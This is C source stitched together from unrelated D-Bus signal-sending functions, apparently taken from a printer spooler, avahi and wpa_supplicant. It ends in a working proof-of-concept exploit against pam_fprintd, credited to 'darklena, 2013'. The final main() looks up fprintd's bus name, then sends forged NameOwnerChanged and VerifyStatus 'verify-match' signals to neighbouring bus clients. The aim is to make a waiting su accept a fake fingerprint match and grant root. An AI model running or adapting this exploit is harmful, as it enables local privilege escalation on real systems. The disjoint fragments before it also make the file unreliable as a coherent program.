message = dbus_message_new_signal("/com/redhat/PrinterSpooler",
"com.redhat.PrinterSpooler", what);
dbus_message_append_iter_init(message, &iter);
if (dest)
dbus_message_iter_append_string(&iter, dest->name);
if (job)
{
dbus_message_iter_append_uint32(&iter, job->id);
dbus_message_iter_append_string(&iter, job->username);
}
dbus_connection_send(con, message, NULL);
dbus_connection_flush(con);
dbus_message_unref(message);
}
void avahi_dbus_async_service_resolver_callback(
AvahiSServiceResolver *r,
AvahiIfIndex interface,
AvahiProtocol protocol,
AvahiResolverEvent event,
const char *name,
const char *type,
const char *domain,
const char *host_name,
const AvahiAddress *a,
uint16_t port,
AvahiStringList *txt,
AvahiLookupResultFlags flags,
void* userdata) {
AsyncServiceResolverInfo *i = userdata;
DBusMessage *reply;
assert(r);
assert(i);
reply = dbus_message_new_signal(i->path, AVAHI_DBUS_INTERFACE_SERVICE_RESOLVER, avahi_dbus_map_resolve_signal_name(event));
if (event == AVAHI_RESOLVER_FOUND) {
char t[AVAHI_ADDRESS_STR_MAX], *pt = t;
int32_t i_interface, i_protocol, i_aprotocol;
uint32_t u_flags;
assert(host_name);
/* avahi_log_debug(__FILE__": [%s] Successfully resolved service <%s.%s.%s>", i->path, name, type, domain); */
if (a)
avahi_address_snprint(t, sizeof(t), a);
else
t[0] = 0;
if (!name)
name = "";
if (avahi_dbus_is_our_own_service(i->client, interface, protocol, name, type, domain) > 0)
flags |= AVAHI_LOOKUP_RESULT_OUR_OWN;
i_interface = (int32_t) interface;
i_protocol = (int32_t) protocol;
if (a)
i_aprotocol = (int32_t) a->proto;
else
i_aprotocol = AVAHI_PROTO_UNSPEC;
u_flags = (uint32_t) flags;
dbus_message_append_args(
reply,
DBUS_TYPE_INT32, &i_interface,
DBUS_TYPE_INT32, &i_protocol,
DBUS_TYPE_STRING, &name,
DBUS_TYPE_STRING, &type,
DBUS_TYPE_STRING, &domain,
DBUS_TYPE_STRING, &host_name,
DBUS_TYPE_INT32, &i_aprotocol,
DBUS_TYPE_STRING, &pt,
DBUS_TYPE_UINT16, &port,
DBUS_TYPE_INVALID);
avahi_dbus_append_string_list(reply, txt);
dbus_message_append_args(
reply,
DBUS_TYPE_UINT32, &u_flags,
DBUS_TYPE_INVALID);
} else {
assert(event == AVAHI_RESOLVER_FAILURE);
avahi_dbus_append_server_error(reply);
}
dbus_message_set_destination(reply, i->client->name);
dbus_connection_send(server->bus, reply, NULL);
dbus_message_unref(reply);
}
/**
* wpa_supplicant_dbus_notify_state_change - Send a state change signal
* @wpa_s: %wpa_supplicant network interface data
* @new_state: new state wpa_supplicant is entering
* @old_state: old state wpa_supplicant is leaving
* Returns: 0 on success, -1 on failure
*
* Notify listeners that wpa_supplicant has changed state
*/
void wpa_supplicant_dbus_notify_state_change(struct wpa_supplicant *wpa_s,
wpa_states new_state,
wpa_states old_state)
{
struct ctrl_iface_dbus_priv *iface;
DBusMessage *_signal = NULL;
const char *path;
const char *new_state_str, *old_state_str;
/* Do nothing if the control interface is not turned on */
if (wpa_s->global == NULL)
return;
iface = wpa_s->global->dbus_ctrl_iface;
if (iface == NULL)
return;
/* Only send signal if state really changed */
if (new_state == old_state)
return;
path = wpa_supplicant_get_dbus_path(wpa_s);
if (path == NULL) {
perror("wpa_supplicant_dbus_notify_state_change[dbus]: "
"interface didn't have a dbus path");
wpa_printf(MSG_ERROR,
"wpa_supplicant_dbus_notify_state_change[dbus]: "
"interface didn't have a dbus path; can't send "
"signal.");
return;
}
_signal = dbus_message_new_signal(path, WPAS_DBUS_IFACE_INTERFACE,
"StateChange");
if (_signal == NULL) {
perror("wpa_supplicant_dbus_notify_state_change[dbus]: "
"couldn't create dbus signal; likely out of memory");
wpa_printf(MSG_ERROR,
"wpa_supplicant_dbus_notify_state_change[dbus]: "
"couldn't create dbus signal; likely out of "
"memory.");
return;
}
new_state_str = wpa_supplicant_state_txt(new_state);
old_state_str = wpa_supplicant_state_txt(old_state);
if (new_state_str == NULL || old_state_str == NULL) {
perror("wpa_supplicant_dbus_notify_state_change[dbus]: "
"couldn't convert state strings");
wpa_printf(MSG_ERROR,
"wpa_supplicant_dbus_notify_state_change[dbus]: "
"couldn't convert state strings.");
goto out;
}
if (!dbus_message_append_args(_signal,
DBUS_TYPE_STRING, &new_state_str,
DBUS_TYPE_STRING, &old_state_str,
DBUS_TYPE_INVALID)) {
perror("wpa_supplicant_dbus_notify_state_change[dbus]: "
"not enough memory to construct state change signal.");
wpa_printf(MSG_ERROR,
"wpa_supplicant_dbus_notify_state_change[dbus]: "
"not enough memory to construct state change "
"signal.");
goto out;
}
dbus_connection_send(iface->con, _signal, NULL);
out:
dbus_message_unref(_signal);
}
int main(int argc, char **argv)
{
DBusError err;
DBusConnection *conn = NULL;
DBusMessage *vrfy_msg = NULL, *noc_msg = NULL, *nl_msg = NULL, *reply = NULL;
dbus_uint32_t serial = 0;
dbus_bool_t t = 1;
int un = 0, i = 0, reply_to = -1;
const char *vrfy_match = "verify-match", *cname = NULL,
*name = "net.reactivated.Fprint", *prev_owner = NULL;
char dest[32];
/* override unique name of net.reactivated.Fprint */
if (argc > 1)
prev_owner = strdup(argv[1]);
printf("\n[**] darklena, pam_fprintd PoC exploit 2013\n\n");
printf("[*] Initializing DBUS ...\n");
dbus_error_init(&err);
conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err);
if (dbus_error_is_set(&err)) {
fprintf(stderr, "Error: %s\n", err.message);
die("dbus_error_is_set");
}
if ((cname = dbus_bus_get_unique_name(conn)) == NULL)
die("dbus_bus_get_unique_name");
un = atoi(strchr(cname, '.') + 1);
printf("[+] Done. Found my unique name: %s (%d)\n", cname, un);
if (!prev_owner) {
printf("[*] Trying to find unique name of '%s' ...\n", name);
nl_msg = dbus_message_new_method_call("org.freedesktop.DBus",
"/org/freedesktop/DBus",
"org.freedesktop.DBus",
"GetNameOwner");
if (!dbus_message_append_args(nl_msg, DBUS_TYPE_STRING, &name, DBUS_TYPE_INVALID))
die("[-] dbus_message_append_args");
reply = dbus_connection_send_with_reply_and_block(conn, nl_msg, reply_to, &err);
dbus_message_unref(nl_msg);
if (dbus_error_is_set(&err)) {
fprintf (stderr, "[-] Error: %s\n", err.message);
die("[-] dbus_connection_send_with_reply_and_block");
}
if (!dbus_message_get_args(reply, &err,
DBUS_TYPE_STRING, &prev_owner, DBUS_TYPE_INVALID)) {
fprintf(stderr, "[-] Error: %s\n", err.message);
die("[-] dbus_message_get_args");
}
dbus_message_unref(reply);
}
printf("[+] Found unique name of '%s' as '%s'\n", name, prev_owner);
for (i = 1; i < 20; ++i) {
/* spoof a NameOwnerChanged signal */
noc_msg = dbus_message_new_signal("/org/freedesktop/DBus",
"org.freedesktop.DBus",
"NameOwnerChanged");
/* spoof a VerifyStatus */
vrfy_msg = dbus_message_new_signal("/net/reactivated/Fprint/Device/0",
"net.reactivated.Fprint.Device",
"VerifyStatus");
if (!vrfy_msg || !noc_msg)
die("[-] dbus_message_new_signal");
if (!dbus_message_append_args(noc_msg, DBUS_TYPE_STRING, &name, DBUS_TYPE_STRING,
&prev_owner, DBUS_TYPE_STRING, &cname, DBUS_TYPE_INVALID))
die("[-] dbus_message_append_args1");
if (!dbus_message_append_args(vrfy_msg, DBUS_TYPE_STRING, &vrfy_match,
DBUS_TYPE_BOOLEAN, &t, DBUS_TYPE_INVALID))
die("[-] dbus_message_append_args2");
/* iterate over unique names short below under our own
* to hit the previously started su
*/
snprintf(dest, sizeof(dest), ":1.%d", un - i);
printf("[*] Using new destination: %s\n", dest);
if (!dbus_message_set_destination(vrfy_msg, dest))
die("[-] dbus_message_set_destination");
if (!dbus_message_set_destination(noc_msg, dest))
die("[-] dbus_message_set_destination");
if (!dbus_connection_send(conn, noc_msg, &serial))
die("[-] dbus_connection_send");
dbus_connection_flush(conn);
usleep(1000);
if (!dbus_connection_send(conn, vrfy_msg, &serial))
die("[-] dbus_connection_send");
dbus_connection_flush(conn);
dbus_message_unref(vrfy_msg);
dbus_message_unref(noc_msg);
}
printf("\n[**] Here comes the pain! (but no one's to too innocent to die)\n");
return 0;
}
